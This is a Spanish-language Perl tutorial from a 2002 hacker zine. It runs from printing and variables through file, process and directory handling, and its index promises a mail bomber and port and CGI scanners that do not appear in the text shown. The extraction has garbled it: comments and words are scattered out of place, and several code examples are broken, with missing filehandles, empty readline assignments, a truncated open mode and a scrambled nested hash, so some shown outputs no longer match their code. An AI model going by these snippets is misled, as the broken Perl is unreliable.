-+-| DisidentS Hack Journal #3 |-+-

______________________________________________________________________ __ | | | -+- Titulo_____: PERL A DOLOR 1 EDICION [001.txt] | | -+- Autor______: DDiego (Editor) | | -+- E-Mail_____: | | -+- Team_______: DISIDENTS ESPAA 2002 - LOS FUERA DE LA LEY | | -+- KB_________: 221.8 | | -+- Tema_______: Artesania en perl | | ______________________________________________________________________ __|

. ====================================================================== ====. |===========~ INDICE ~====================================================== | ====================================================================== ===== |=~ 1.0.0 INTRODUCCION | |=~ 2.0.0 QUE NECESITO? | |=~ 3.0.0 COMENTARIOS | |=~ 3.1.0 EJECUCION DE UN SCRIPT DE PERL | |=~ 4.0.0 PRINT | |=~ 4.1.0 PRINTF | |=~ 4.2.0 SPRINTF | |=~ 5.0.0 VARIABLES | |=~ 5.1.0 ESCALARES | |=~ 5.2.0 ARREGLOS |

|=~ | |=~ | |=~ | |=~ | |=~ | |=~ | |=~ | |=~ | |=~ | |=~ | |=~ | |=~ | |=~ | |=~ | |=~ | |=~ | |=~ | |=~ | |=~ | |=~ | |=~ | |=~ | |=~ | |=~ | |=~ | |=~ | |=~ | |=~ | |=~ | |=~ |

5.3.0 5.4.0 5.5.0 5.5.1 5.6.0 6.0.0 6.0.1 6.0.2 6.1.0 6.1.1 6.2.0 6.3.0 6.4.0 6.5.0 6.5.1 6.5.2 7.0.0 8.0.0 9.0.0 9.1.0 9.2.0 9.2.1 9.3.0 9.3.1 9.4.0

HASHES ENTRADAS POR TECLADO ENTRADAS POR TECLADO - CHOP ENTRADAS POR TECLADO - CHOMP STDOUT JUGANDO CON ARCHIVOS RENOMBRANDO ARCHIVOS ESTADO DE UN ARCHIVO STAT ABRIR ARCHIVOS ABRIR ARCHIVOS - SYSOPEN CERRAR ARCHIVOS ABRIR UN PROCESO CERRAR UN PROCESO DIRECTORIOS ABRIR Y CERRAR DIRECTORIOS GESTIONAR DIRECTORIOS OPERADORES LLAMADAS AL SISTEMA BUCLES BUCLE WHILE BUCLE FOR JUGANDO CON NET SEND CONDICION CON IF CONDICION ?: FOREACH

10.0.0 VARIABLES ESPECIALES 11.0.0 SUBRUTINAS 12.0.0 JUGANDO CON EL TEXTO 13.0.0 CREACCION DE UN CREADOR DE DICCIONARIOS 14.0.0 MANIPULANDO UNA VARIABLE GLOBAL

|=~ | |=~ | |=~ | |=~ | |=~ | |=~ | |=~ | |=~ | |=~ | |=~ | |=~ | |=~ | |=~ | |=~ | |=~ | |=~ | |=~ | |=~ | |=~ | |=~ | |=~ | |=~ | |=~ | |=~ | |=~ | |=~ | |=~ | |=~ | |=~ | |=~ |

15.0.0 SPLIT 16.0.0 JUGANDO CON BINARIOS 17.0.0 DIE WARN- LA MATANZA Y LA ALERTA 18.0.0 ARGUMENTOS DE UN PROGRAMA 19.0.0 VARIABLES LOCALES Y GLOBALES "local y my" 20.0.0 GOTO 21.0.0 MENU 22.0.0 BEGIN END 23.0.0 COMUNICACION ENTRE PROCESOS 24.0.0 ALARMAS Y TEMPORIZADORES 25.0.0 TRUNCANDO ARCHIVOS 26.0.0 RESET 27.0.0 JUGANDO CON LOS NUMEROS 28.0.0 COLORES 29.0.0 REFERENCIAS 30.0.0 CRYPT 31.0.0 GETC 32.0.0 GMTIME 33.0.0 LOCALTIME 34.0.0 MODULOS EN PERL 35.0.0 MODULO IO::Socket 35.1.0 CLIENTE 35.2.0 SERVIDOR 36.0.0 CREANDO UN MAIL BOMBER

37.0.0 CREANDO UN PORT MONITOR 38.0.0 CREANDO NUESTRO PROPIO SCANNER DE PUERTOS 38.1.0 CREANDO UN SCANNER DE PUERTOS CON OPCION DE ESCANEAR RANGOS 39.0.0 CREANDO UNA CONSOLA PARA CGIS

40.0.0 CREANDO UN SCANNER DE CGIS 40.1.0 CREANDO UN SCANNER DE CGIS CON SOPORTE PARA USA UN PROXY

|=~ 41.0.0 QUEEEE QUE EN LA CONSOLA DE CGIS TAMBIEN QUIERES USAR PROXY | |=~ 42.0.0 __DATA__ Y __END__ | |=~ 43.0.0 DEFINED | |=~ 44.0.0 READ Y SYSREAD LEYENDO UNOS BYTES | |=~ 45.0.0 SYSWRITE ESCRIBIENDO UNOS BYTES | |=~ 46.0.0 SYSSEEK Y SEEK | |=~ 47.0.0 TELL & TELLDIR | |=~ 48.0.0 RETURN | |=~ 49.0.0 SELECT | |=~ 50.0.0 STUDY | |=~ 51.0.0 TIME | |=~ 52.0.0 UTIME | |=~ 53.0.0 REPITIENDO CON x | |=~ 54.0.0 PERL2EXE | |=~ 55.0.0 LINKS INTERENSANTES | |=~ 56.0.0 LIBROS RECOMENDADOS | |=~ 57.0.0 NOTAS FINALES | |=~ 58.0.0 SALUDOS | |=~ 59.0.0 CONTACTO | | =~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ~~~=. ======================================================~ INDICE ~============ ====================================================================== ======

. ====================================================================== ====. |=======~ 1.0.0 INTRODUCCION ~============================================== | ====================================================================== ===== - Hace cientos de aos un noble caballero ansiaba tener la mejor espada, una

espada a su medida que la manejara como si unida a su cuerpo estubiera, no habia artesano que le diera la calidad, ligereza y perfeccion que el buscaba, tal llego su desesperacion que el noble caballero decidio crear su propia espada a imagen y semejanza de la espada por la que su mente estaba atormentada y que el tanto ansiaba. - Nosotros vamos a empezar a hacer nuestras espadas, y dejarnos de usar las hechas por otros, si es eso lo que buscas sigue leyendo y comienza a ser noble artesano inmerso en el codigo cada vez mas si estas cansado de usar herramientas y no saber realmente como funcionan por aqui se empieza, nada es facil hay que trabajarlo pero lo conseguiremos ;). PERL A DOLOR 1 EDICION, si esta es la 1 parte de un articulo que me ha llevado su tiempo, espero que lo disfruteis, nunca pense que iba a alcanzar este tamao, bueno que podeis encontrar en este articulo guia o casi un libro, pues encontrareis mis modestos conocimientos y mi humilde aprendizaje en perl gracias a la informacion que he encontrado en la red, y en algunos libros, la guia comienza desde perl desde cero, hasta como realizar tus propias herramientas desde scaners de cgis normales o con opcion de usar proxy, scaners de puertos, monitores de puertos, un mail bomba etc , hasta abriros camino hacia crear mas herramientas, si estas cansado de usar herramientas enlatadas,sigue leyendo os guiare por un tipo de programacion orientada al hacking completamente y con posibilidad de usar vuestras creacciones en varias plataformas eso es fantastico para cualquier programador la portabilidad de sus herramientas a otros OS.

. ====================================================================== ====. |=======~ 2.0.0 QUE NECESITO ~============================================= | ====================================================================== =====

- Que necesito, pues un compilador y un editor de textos, os vale el wordpad , block de notas a los usuarios de windows, tambien podeis pasaros por (ht tp://www.activestate.com) y bajaros el active perl o os pasais todos directamente por esta direccion: (http://www.perl.com/pub/a/language/info/ software.html), encontrareis todo el software necesario, los usuarios de linux pueden pasarse por ahi o fijo que ya lo tienen en los cds de su distribucion, o incluso ya lo tienen instalado, para ver la version que tienen se pone "perl -v" en la consola sin las comillas claro ;).

. ====================================================================== ====. |=======~ 3.0.0 COMENTARIOS ~=============================================== | ====================================================================== ===== - Bueno voy a empezar por lo mas basico y facil, los comentarios o anotaciones dentro del codigo del programa, por una parte pensaras que no son indispensables pero si lo son en realidad, en otros lenguajes como c, java, etc... si que es mas necesario debido a las dimensiones que puede llegar a tener un programa, pero en perl no esta mal hacer estas anotaciones para posteriores implementaciones, si dentro de un ao vuelves a ver el codigo del programa, te sea util para saber los pasos que has dado, los comentarios en perl vienen detras de la almoadilla #, asi por ejemplo: # Esto es un comentario en perl .

. ====================================================================== ====. |=======~ 3.1.0 EJECUCION DE UN SCRIPT DE PERL ~============================

| ====================================================================== ===== - Esto es facil, solamente tienes que poner perl nombredeprograma.pl y ya se ejecutara sin problemas, mas adelante veremos que se pueden dar mas argumentos a un programa. - Otra forma de ejecutar perl es desde la linea de comando, algo asi: perl -e 'comando'; * veamos un ejemplo: [root@localhost fork]# perl -e 'print "hola\n";' hola o mas de un comando: [root@localhost fork]# perl -e 'print "hola\n";print "adios\n";' hola adios

. ====================================================================== ====. |=======~ 4.0.0 PRINT ~===================================================== | ====================================================================== ===== - Que queremos que salgan nuestros comentarios locos en la pantalla???, pues recurriremos a print, esto lo usaremos ya sea para hacer preguntas tipo, que "server vamos a escanear?","a quien quieres tirar abajo?", "hola mundo paralelo", bueno cosas asi rutinarias de todo los dias. Ejemplo: #!/usr/bin/perl print "hola, estoy en un mundo paralelo, quieres subir a mi nave espacial?\n";

- Ahora lo guardas es nave.pl y:

[root@localhost articulo]# perl print.pl hola, estoy en un mundo paralelo, quieres subir a mi nave espacial?

- Al final de cada olvideis

expresion vemos un

; esto es necesario, no los

- Las comillas es otro factor importante hay comillas simples ' y dobles ", a la hora de asignar valores no hay diferencia da igual $numero= '2' que $numero= "2", pero a la hora de imprimirlo si veremos porque: #!/usr/bin/perl $numero="19"; print "$numero\n"; SALIDA: [root@localhost articulo]# perl print2.pl 19

- Bien pero que pasa si usamos las simples ' : #!/usr/bin/perl $numero=19; print 'El numero es $numero\n'; SALIDA: El numero es $numero\n

- Imprime segun escribes el code #!/usr/bin/perl print "Hola que tal estas hoy??? \n"; SALIDA: [root@localhost articulo]# perl imprime.pl Hola que tal estas hoy???

- Tambien podemos agregar funciones del sistema por ej la hora -

* Con localtime () podremos averiguar la hora: #!/usr/bin/perl $hora= 'Son las ' . localtime() ."\n"; print "$hora\n"; SALIDA: [root@localhost articulo]# perl hora.pl Son las Mon Nov 26 16:58:31 2001 * Es posible poner directamente: print 'Son las ' . localtime() ."\n";

- Tambien puedes ver

contrucciones como esta:

#!/usr/bin/perl print "hola ddiego\n" , "que tal estas\n"; SALIDA: [root@localhost articulo]# perl constr.pl hola ddiego que tal estas

. ====================================================================== ====. |=======~ 4.1.0 PRINTF ~==================================================== | ====================================================================== ===== - En algunos casos es necesario usar printf, sobre todo para numeros decimales por ej, numeros en coma flotante, veamos como se usa es facil: #!/usr/bin/perl printf "%f\n",5.148499; #%f de float

* Veamos una tabla indicadores de

printf:

%f = Notacion decimal, coma flotante "float" %d = Entero con signo, n decimal %ld = n decimal largo

%u %x %lx %X %o %lo %s %c %p %e %%

= = = = = = = = = = =

n decimal sin signo hexadecimal n hexadecimal largo hexadecimal con mayusculas n octal n octal largo Cadena o string un caracter del codigo ASCII Puntero Notacion cientifica signo de porcentaje

. ====================================================================== ====. |=======~ 4.2.0 SPRINTF ~=================================================== | ====================================================================== ===== - printf sirve para dar formato a una cadena, funciona igual que la funcion sprintf en c, veamos sprintf con un ejemplo: Ejemplo: #!/usr/bin/perl $cadena = "Disidents"; $tamano = 10; $formateo1 = sprintf("%s", $cadena); print "$formateo1\n"; $formateo2 = sprintf("-%s-", $cadena); print "$formateo2\n"; $formateo3 = sprintf("- %s HACKER TEAM -", $cadena); print "$formateo3\n"; $formateo4 = sprintf("-%15s-", $cadena); print "$formateo4\n"; $formateo5 = sprintf("-%-15s-", $cadena); print "$formateo5\n"; $formateo6 = sprintf("-%-${tamano}s-", $cadena); print "$formateo6\n"; $formateo7 = sprintf("-%+${tamano}s-", $cadena); print "$formateo7\n"; SALIDA: Disidents -Disidents- Disidents HACKER TEAM Disidents-Disidents -Disidents - Disidents-

. ====================================================================== ====. |=======~ 5.0.0 VARIABLES ~================================================= | ====================================================================== ===== . ====================================================================== ====. |=======~ 5.1.0 ESCALARES ~================================================= | ====================================================================== ===== - Este tipo de variables lleva delante el signo $, pueden almacenar numeros, cadenas de texto o "strings": Ejemplo: #!/usr/bin/perl $x=1; #da a x el valor de 1 $y=2; #da a y el valor de 2 $z=$x+$y; # x + y = z -> 1+2=z=3 print "x + y es $z\n"; SALIDA: [root@localhost articulo]# perl escalar.pl x + y es 3 - Hablaremos mas adelante de un tipo muy especial de escalar $_

. ====================================================================== ====. |=======~ 5.2.0 ARREGLOS ~================================================== | ====================================================================== =====

- Aqui se meten varias variables y lleva delante el simbolo @,tambien se les suelen llamar arrays: Ejemplo: #!/usr/bin/perl @x=(1,3,'hola',7); print "@x[3]\n"; SALIDA: [root@localhost articulo]# perl arreglo1.pl 7 * Si pusieramos @x solamente asi:

#!/usr/bin/perl @x=(1,3,'hola',7); print "@x\n"; SALIDA: [root@localhost articulo]# perl arreglo2.pl 1 3 hola 7

* Tambien es posible ponerlo de otra forma: #!/usr/bin/perl $x[0]=1; $x[1]=3; $x[2]='hola'; $x[3]=7; print "@x[3]\n"; SALIDA: [root@localhost articulo]# perl arreglocambiao.pl 7

- ARREGLOS DE ARREGLOS - Podemos incluir un arreglo dentro de otro arreglo, algo asi: Ejemplo: #!/usr/bin/perl @mas=("spark","vanmore"); @members=("w3n","leon01",@mas); SALIDA:

[root@localhost articulo]# perl arrarrg1.pl w3n leon01 spark vanmore * Seria lo mismo que #!/usr/bin/perl @members=("w3n","leon01",("spark","vanmore")); print "@members\n";

- Introducir un valor escalar al final del array o arreglo: push (@x,$valor); * Veamos como queda Ejemplo: #!/usr/bin/perl $valor= 2; @x=(1,3,'hola',7); push (@x,$valor); print "@x\n"; SALIDA: [root@localhost articulo]# perl arreglo4.pl 1 3 hola 7 2

- Ahora vamos a eliminar el ultimo elemento con pop: Ejemplo: #!/usr/bin/perl @x=(1,3,'hola',7); pop (@x); print "@x\n"; SALIDA: [root@localhost articulo]# perl pop.pl 1 3 hola - Se pueden contener dentro de arrays otros arrays y acceder a ellos: @array=(@hola,@adios,@buenas);

- Podemos imprimiriamos el primer elemento de @hola poniendo lo siguiente:

print "@array[0][0]\n";

- Buscar elementos de un array que Ejemplo: #!/usr/bin/perl @x=(1,3,'hola','hooo'); @y = grep /^ho/, @x; por hoy print "@y\n"; SALIDA:

empiecen por ciertos caracteres

#Busca los

elementos de @x que empicen

#para ello usa /^

[root@localhost articulo]# perl grep1.pl hola hooo

- Ahora vamos a buscar elementos q empiezan por h, H y 3: Ejemplo: #!/usr/bin/perl @x=(1,3,'hola','Holas'); @y = grep /[HhZ3]/, @x; print "@y\n"; SALIDA: [root@localhost articulo]# perl grep2.pl 3 hola Holas

- En este caso buscaremos dentro de un array segun que caracteres esten al final de una frase o palabra. Ejemplo: #!/usr/bin/perl @x=(1,3,'hola','hooo'); @y = grep /a$/, @x; #Busca los elementos de @x que acaben por a print "@y\n"; SALIDA: [root@localhost articulo]# perl grep3.pl hola * Esto tambien se puede usar con escalares Ejemplo:

#!/usr/bin/perl $numeros=123456789; $numeros=/^123/,$numeros; print "$numeros\n"; SALIDA:

#si sale 1 es que en ese caso el escalar #empieza por 1 si sale 0 es #el caso contrario

[root@localhost articulo]# perl verdadero.pl 1

- SPLICE - Con splice lo que haremos es extraer, meterlos en otro arreglo, un ejemplo: Ejemplo: #!/usr/bin/perl @a = ( 'a'..'e'); @b = splice ( @a, 1, 2); # @b queda con 2 elementos de @a: $a[1] y # ( 'b', 'c') # @a queda sin esos 2 elementos: # ( 'a', 'd', 'e' ) print "@a\n"; print "@b\n"; SALIDA: [root@localhost articulo]# perl splice1.pl a d e b c elementos de un arreglo y

$a[2];

- Sustitucion con splice - Es posible sustituir elementos con splice de otra forma: Ejemplo: #!/usr/bin/perl @a = ( "Rah3", "w3n", "DDiego", "leon01"); @b = ("S-P-A-R-K", "Vanmore"); @c = splice @a, 1, 2, @b; #Sustituye a partir del primer "1" elemento de #@a, tomando solo 2 elementos print "@a\n";#imprime el array @b, han sido sustituidos 2 elementos a

#partir de $a[1] print "@b\n"; print "@c\n"; #Imprime los elementos que se han sustituido en el primer #array SALIDA: [root@localhost articulo]# perl splice2.pl Rah3 S-P-A-R-K Vanmore leon01 S-P-A-R-K Vanmore

- Si pusiesemos que empezara a elemento saldria algo asi: Ejemplo:

partir

del 2 elemento y tomara 3

#!/usr/bin/perl @a = ( "Rah3", "w3n", "leon01", "hah","jojo","jeje"); @b = ("S-P-A-R-K", "Vanmore"); @c = splice @a, 2, 3, @b; print "@a\n";#imprime el array @b pero han sido sustituidos 3 elementos a #partir de $a[2] print "@b\n"; print "@c\n"; #Imprime los elementos que se han sustituido en el primer #array

SALIDA: [root@localhost articulo]# perl splice3.pl Rah3 w3n S-P-A-R-K Vanmore jeje S-P-A-R-K Vanmore leon01 hah jojo w3n DDiego

- Eliminar el primer elemento de un arreglo "shift" Ejemplo: #!/usr/bin/perl @members=("w3n","leon01", "spark","vanmore"); shift(@members); print "@members\n";

* Ahora w3n no saldra al imprimir el arreglo SALIDA: [root@localhost articulo]# perl shift.pl leon01 spark vanmore

Sustituir el primer elemento de un arreglo "unshift" Ejemplo: #!/usr/bin/perl @members=("w3n","leon01", "spark","vanmore"); unshift(@members,"damicita"); print "@members\n";

* Ahora w3n pasara al segundo de la lista SALIDA: [root@localhost articulo]# perl unshift.pl damicita w3n leon01 spark vanmore

- Entrecomillar palabras de forma automatica * Solo necesitamos qw para hacerlo: Ejemplo: #!/usr/bin/perl @members=qw/w3n leon01 spark vanmore/; unshift(@members,"damicita"); print "@members\n"; SALIDA: * Igual que arriba. [root@localhost articulo]# perl qw.pl damicita w3n leon01 spark vanmore

. ====================================================================== ====.

|=======~ 5.3 HASHES ~====================================================== | ====================================================================== ===== - Estas llevan delante el simbolo de porcentaje %, este tipo de variables son tambien llamadas matrices asociativas, veremos que es esto:

Ejemplo: #!/usr/bin/perl %z=('x',1,'y',2); #asocia x a 1 print $z{'x'}; SALIDA: [root@localhost articulo]# perl hash1.pl 1[root@localhost articulo]# * Para que salga mejor print "$z{'x'}\n"; [root@localhost articulo]# perl hash2.pl 1 * queda mejor no?? , y a 2

- Debemos aclarar algunos terminos,como que son las claves y el valor, en el caso anterior las claves o keys serian x e y u los valores 1 y dos. * Es posible usar Ejemplo 1: #!/usr/bin/perl %z=('x'=>1, 'y'=>2 ); print $z{'x'}; => en vez de la coma, asi se ve mas claro:

Ejemplo 2: #!/usr/bin/perl @x=('1'..'5'); print $x[2]; #Vemos que $x[0] seria 1 y $x[4] seria 5 SALIDA:

[root@localhost articulo]# perl hash3.pl 3

- Con letras lo mismo Ejemplo: #!/usr/bin/perl @x=('a'..'d'); print $x[2]; SALIDA: [root@localhost articulo]# perl hash4.pl c

- Si pusiesemos valores negativos tipo $x[-1] saldria d Ejemplo: #!/usr/bin/perl @x=('a'..'d'); print $x[-1]; * Volvamos a las hashes o matrices asociadas de nuevo, y veamos como funcionan: - Mostrar los valores del hash "values": Ejemplo: #!/usr/bin/perl %z=('x',1,'y',2); print values(%z); - Mostrar las claves de un hash "keys" Ejemplo: #!/usr/bin/perl %z=('x',1,'y',2); print keys(%z); # x e y son las claves que mostrara

- Borrar las Ejemplo:

claves

de un hash con "delete" -

#!/usr/bin/perl %z=('x',1,'y',2); delete($z{'y'});

print "%z\n";

- Saber cuantas entradas hay Ejemplo: #!/usr/bin/perl %z=('x',1,'y',2); $entradas = scalar keys %z; print "$entradas\n"; SALIDA: [root@localhost arti]# perl entradas.pl 2

- Comprobar que existe una clave * Para ello usaremos exists Ejemplo: #!/usr/bin/perl %hash=('a'=>1, 'b'=>2, 'c'=>3, 'd'=>4, 'e'=>5, 'f'=>6 ); if (exists $hash{a}){

#sintaxis: exists $nombredehash{clave} print "a existe \n";

} else { print "a no existe\n"; } SALIDA: [root@localhost articulo]# perl exists1.pl a existe * Otro ejemplo: #!/usr/bin/perl %hash=('a'=>1, 'b'=>2 , 'c'=>3 , 'd'=>4 , 'e'=>5 , 'f'=>6 ); $buscar=exists $hash{d}; print "$buscar\n";

* La salida o da un valor verdadero 1 o falso 0 SALIDA: [root@localhost articulo]# perl exists2.pl 1

- Hash dentro de hash * Tambien es posible encontrar una estructura hash dentro de otra: Ejemplo: #!/usr/bin/perl %disidents=('miembros' => {

'amigos' =>

);

'w3ndig0'=>'espaa', 'S-P-A-R-K'=>'argentina', 'leon01'=>'argentina', }, { 'genl0g'=>'ganimedes', 'madbiker'=>'raticuli', }

- Es posible ordenar una extructura hash de forma aleatroia gracias a each Ejemplo:: #!/usr/bin/perl %hash=('a'=>1, 'b'=>2, 'c'=>3, 'd'=>4, 'e'=>5, 'f'=>6 ); while (($key, $valor) =each(%hash)) { } SALIDA: [root@localhost articulo]# perl each.pl e=5 f=6 a=1 b=2 c=3 print "$key=$valor\n";

d=4

. ====================================================================== ====. |=======~ 5.4.0 ENTRADAS POR TECLADO ~====================================== | ====================================================================== ===== - Si queremos que un programa sea interactivo por parte del usuario, y que este programa pueda recoger cierta informacion, usaremos "STanDart INput" Ejemplo: #!/usr/bin/perl print "Cual es tu nombre?? "; $nombre = <STDIN>; print "Hola $nombre\n"; SALIDA: [root@localhost articulo]# perl entrada.pl Cual es tu nombre?? DDiego Hola DDiego

. ====================================================================== ====. |=======~ 5.5.0 ENTRADAS POR TECLADO - CHOP ~=============================== | ====================================================================== ===== - Usaremos chop para quitar el ultimo caracter a simple vista no tiene mucha utilidad pero nos vendra bien para las entradas por teclado . * Si ponemos: #!/usr/bin/perl $comentario = "Soy DDiego"; print $comentario;

Saldria: Soy DDieg * Veremos que para STDIN si tiene utilidad

* Si no se usa chop en una entrada tambien se coge el caracter enter pulsado Ejemplo: #!/usr/bin/perl $comentario = <STDIN>; print "acabas de escribir $comentario en la consola\n"; SALIDA: [root@localhost articulo]# perl nochop.pl hola acabas de escribir hola en la consola * umm no queda muy bien, para evitar eso usaremos chop Ejemplo: #!/usr/bin/perl $comentario = <STDIN>; chop $comentario; print "acabas de escribir $comentario en la consola\n"; SALIDA: [root@localhost articulo]# perl conchop.pl hola acabas de escribir hola en la consola -> Ahora mejor

. ====================================================================== ====. |=======~ 5.5.1 ENTRADAS POR TECLADO - CHOMP ~============================== | ====================================================================== =====

- Vemos que chop lo unico que hace es quitar el ultimo caracter y que se introduce y nos vale para quitar el retorno de carro \n, chomp hace lo mismo y despues nos devuelve el numero de caracteres que se ha eliminado, veamos como rula: Ejemplo: #!/usr/bin/perl print "Introduce un comentario: "; $comentario = <STDIN>; $salida= chomp ($comentario); print "$salida\n"; SALIDA: [root@localhost articulo]# perl chomp.pl Introduce un comentario: hola 1

. ====================================================================== ====. |=======~ 5.6.0 STDOUT ~==================================================== | ====================================================================== ===== - STDOUT "Salida standart", normalmente la salida standart es la pantalla Ejemplo: #!/usr/bin/perl print STDOUT "Hola DDiego\n"; SALIDA: [root@localhost articulo]# perl stdout.pl Hola DDiego

. ====================================================================== ====.

|=======~ 6.0.0 JUGANDO CON ARCHIVOS ~====================================== | ====================================================================== ===== - En este apartado trataremos sobre como manipular archivos,abrir, leer, escribir, cerrar etc.

. ====================================================================== ====. |=======~ 6.0.1 RENOMBRANDO ARCHIVOS ~====================================== | ====================================================================== ===== - Para renombrar archivos usamos-> sintaxis:rename ("nombredelarchivo","nombrenuevo"); , veamos un ejemplo: Ejemplo: #!/usr/bin/perl rename ("disidents.txt", "disidentshackerteam.txt");

. ====================================================================== ====. |=======~ 6.0.2 ESTADO DE UN ARCHIVO STAT ~================================= | ====================================================================== ===== - Gracias a stat podemos saber las propiedades de un archivo Ejemplo: #!/usr/bin/perl open (ARCHIVO,'>disidents.txt') or die ("no se ha podido encontrar el archivo"); ($device, $inode, $infoarch, $links, $IDUsuario, $IDGrupo, $IDdevice,

$Tamano,$ultacces,$ultmodif,$ultiinode,$tambloqueIO, $IO)= stat (ARCHIVO); close (ARCHIVO); print "$device\n"; #Dispositivo donde se encuentra el archivo print "$inode\n"; #N de refrencia interna print "$infoarch\n"; #Tipo y permisos de archivo print "$links\n"; #vinculos establecidos en el archivo print "$IDUsuario\n";#ID del propietario del archivo print "$IDGrupo\n"; #ID del grupo del propietario del archivo print "$IDdevice\n"; #Identificador del tipo de dispositivo print "$Tamano\n"; #Tamao del archivo print "$ultacces\n"; #Ultimo acceso al archivo print "$ultmodif\n"; #Ultima modificacion al archivo print "$ultiinode\n";#Devuelve la hora en al que se aa cambiado el estado #de un archivo print "$tambloqueIO\n"; #Tamao preferido de bloque para las operaciones #de entrada y salida "I/O" print "$IO\n"; #Tamao real del blioeuq para todas las #operaciones de entrada y salida "I/O"

. ====================================================================== ====. |=======~ 6.1.0 ABRIR ARCHIVOS ~============================================ | ====================================================================== ===== - Para abrir un archivo y leerlo usaremos open de esta manera: open (ARCHIVO ,"archivo.txt"); modo #En este caso se abre el archivo en #lectura nada mas

* Vamos a abrir un archivo e imprimirlo en pantalla: Ejemplo: #!/usr/bin/perl open (ARCHIVO ,"archivo.txt"); print (); #asi hacemos uso del descriptor del archivo #"FILEHANDLE" y lo imprimimos SALIDA: [root@localhost articulo]# perl open1.pl wqefqwerewwwrwe feqwf fqewf

* ARCHIVO es la etiqueta hace referencia a archivo.txt.

un identificador,

es

un

nombre

que

-> archivo.txt es el archivo a abrir - Para crear un archivo y escribir en el usaremos open tambien pero usaremos el simbolo >: Ejemplo: #!/usr/bin/perl open (ARCHIVO,">archivo.txt"); * En este caso creamos el archivo y si ya existe lo sobreescribimos

- Para abrir un archivo en modo borrando su contenido usaremos >> Ejemplo: #!/usr/bin/perl open (ARCHIVO,">>archivo.txt");

escritura

pero

aadiendo

no

- Para abrir un archivo en modo lectura y escritura usaremos +< Ejemplo: #!/usr/bin/perl open (ARCHIVO,"+ : Ejemplo: #!/usr/bin/perl open (ARCHIVO,"+>archivo.txt");

- Ahora vamos a abrir zz un archivo y imprimir la linea que tenga la palabra que buscamos, para ello vamosa a usar grep un comando que tambien podemos ver en unix. Ejemplo: #!/usr/bin/perl

print "documento a abrir: "; $documento=<STDIN>; open (doc, "$documento"); @lineas = ; print join("\n", grep { /ddiego/ ddiego SALIDA:

} @lineas); #ahora buscara en el #archivo la linea que #incluye la cadena

[root@localhost articulo]# perl buscando.pl documento a abrir: archivo.txt el otro dia ddiego .... - En el documento archivo.txt inclui esa linea solo imprime la linea que tiene la cadena ddiego. entre otras tantas,

- Mandando las salidas de la pantalla a un archivo * Para ello usaremos la Ejemplo: open (SECOUT,">&STDOUT"); open (SECOUT ,">archivo.txt"); funcion open y SECOUT

- Mandando mensajes de error a un archivo * Es igual que lo de arriba pero con STDERR Ejemplo: open (SECERR,">&STDERR"); open (SECERR ,">archivo.txt");

- Errores al abrir Podemos ver la funcion die con mas ejemplos en un apartado mas adelante, si el archivo no esta disponible el sistema nos dira, ehh que el archivo no esta,pues usaremos la variable $! de esta manera, en esta variable es donde se guarda la cadena de error: Ejemplo: #!/usr/bin/perl open (ARCHIVO ,"archivo.gif"),or die "que putada $!\n"; #si no lo puede

#abrir imprimira print (); #no imprime porque no encuentra el archivo SALIDA: [root@localhost articulo]# perl $!.pl que putada No existe el fichero o el directorio

- read, leyendo solo unas pocas lineas Ejemplo: #!/usr/bin/perl open (ARCHIVO, "archivo.txt"); $caracteres = 10; #toma 10 caracteres del archivo read (ARCHIVO, $cadena, $caracteres); #los lee print $cadena, "\n"; #los imprime SALIDA: [root@localhost articulo]# perl read.pl ewwwtttttt

. ====================================================================== ====. |=======~ 6.1.1 ABRIR ARCHIVOS - SYSOPEN ~================================== | ====================================================================== ===== - sysopen se parece bastante a la funcion open salvo que es posible cambiar una serie de parametros como los permisos del archivo etc, su sintaxis es: sysopen (REFERENCIA, "archivo que abrimos", MODO DE APERTURA, PERMISOS) * El modo de apertura puede ser: O_RDONLY O_WRONLY O_CREAT O_TRUNC O_RDWR : : : : : Solo lectura Solo escritura Crea el archivo si no existe Trunca el archivo antes de leerlo o escribirlo Escritura y lectura

* Para usar varios modos a la vez usaremos pipes | Ejemplo:: * Crear un archivo si no existe y escribe en el #!/usr/bin/perl sysopen (ARCHIVO, "archivo.txt", O_WRONLY | O_CREAT);

* Para cambiar permisos, por defecto les da 666 Ejemplo: #!/usr/bin/perl sysopen (ARCHIVO, "archivo.txt", O_WRONLY | O_CREAT,0666);

. ====================================================================== ====. |=======~ 6.2.0 CERRAR ARCHIVOS ~=========================================== | ====================================================================== ===== - Para cerrar archivos se usa la funcion close, su sintasis es: Ejemplo: close (ARCHIVO); * ARCHIVO es la etiqueta que le hemos asignado antes.

. ====================================================================== ====. |=======~ 6.3.0 ABRIR UN PROCESO ~========================================== | ====================================================================== ===== - Se abren de forma muy parecida a los archivos pero con |, abrir cualquier proceso por ej para enviar correo: se puede

open(CORREO, "|/usr/sbin/sendmail"); Un ejemplo con un simple Ejemplo: #!/usr/bin/perl open(LISTAR, "|dir"); $listado = (); print $listado; close $listado; SALIDA: [root@localhost articulo]# perl listar.pl ddiego.txt diego2.pl listado listar.pl [root@localhost articulo]# dir:

. ====================================================================== ====. |=======~ 6.4.0 CERRAR UN PROCESO ~========================================= | ====================================================================== ===== - Se cierra de la misma forma que los archivos con close: Ejemplo: close (CORREO);

. ====================================================================== ====. |=======~ 6.5.0 DIRECTORIOS ~============================================== | ====================================================================== ===== - Vamos a ver como abrir, y con ejemplos. cerrar y gestionar directorios facilmente

. ====================================================================== ====. |=======~ 6.5.1 ABRIR Y CERRAR DIRECTORIOS ~================================ | ====================================================================== ===== - Usaremos la funcion opendir para abrir y cerrar directorios, misma forma que lo haciamos con ficheros. Ejemplo: #!/usr/bin/perl opendir (DIRECTORIO, "/"); #abre /, si pones un . ira al directorio #donde este el programa foreach $nombre (readdir(DIRECTORIO)) #con foreach ordenaremos el listado #ver apartado 9.4 luego lee / y lo #guarda en $nombre { print "$nombre\n"; #imprime $nombre } closedir(DIRECTORIO); #cierra SALIDA: [root@localhost articulo]# perl abrirdir.pl . .. mnt home dev etc tmp var root boot proc sbin usr lib bin opt .mozilla lost+found - Como cambiar el directorio con el que estamos trabajando, chdir: SINTAXIS: chdir directorio. pues con de la

Ejemplo: #!/usr/bin/perl $raiz= "/iuuii"; $directorio= chdir $raiz; print "$directorio\n"; SALIDA: * Imprime 0 porque no existe ese directorio /iuuii [root@localhost articulo]# perl chdir.pl 0 * pero si pusieramos $raiz="/"; Saldria 1, la operacion a tenido exito

